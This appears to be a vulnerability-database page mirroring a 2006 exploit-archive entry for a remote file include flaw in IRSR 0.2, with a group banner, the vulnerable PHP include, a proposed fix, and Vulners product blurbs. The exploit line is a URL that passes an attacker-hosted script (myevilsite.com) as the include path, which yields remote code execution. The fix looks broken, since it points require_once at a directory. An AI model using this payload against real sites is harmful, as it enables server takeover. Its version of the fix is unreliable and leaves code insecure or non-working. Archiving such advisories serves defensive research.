Lucene search
K

IRSR <= 0.2 (_sysSessionPath) Remote File Include Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

IR Remote File Include Vulnerability in IRSR v. 0.

Code

                                                /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- IRSR - Invisionix Roaming System Remote &#60;= 0.2 [_sysSessionPath] Remote File Include Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: IRSR - Invisionix Roaming System Remote v. 0.2
- [Script site: http://www.invisionix.org or http://sourceforge.net/projects/irsr
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: [email protected]
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart :-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
+
- P.S: Pozdrawiam ludzi z United Crew!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
vulnerable code =&#62; pageheaderdefault.inc.php line 28-36:
[code]
//
// Perform the session handling preprocessing.
//
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die(&#34;Could NOT obtain authentication info after login!
&#34;);
mysql_select_db($_sysDBname) or die(&#34;Was NOT able to obtain authentication info after login!
&#34;);
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Fix:
[code]
$_sysSessionPath = @dirname(@dirname(@dirname(__FILE__)));
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die(&#34;Could NOT obtain authentication info after login!&#34;);
mysql_select_db($_sysDBname) or die(&#34;Was NOT able to obtain authentication info after login!&#34;);
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[IRSR_path]/system/includes/pageheaderdefault.inc.php?_sysSessionPath=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation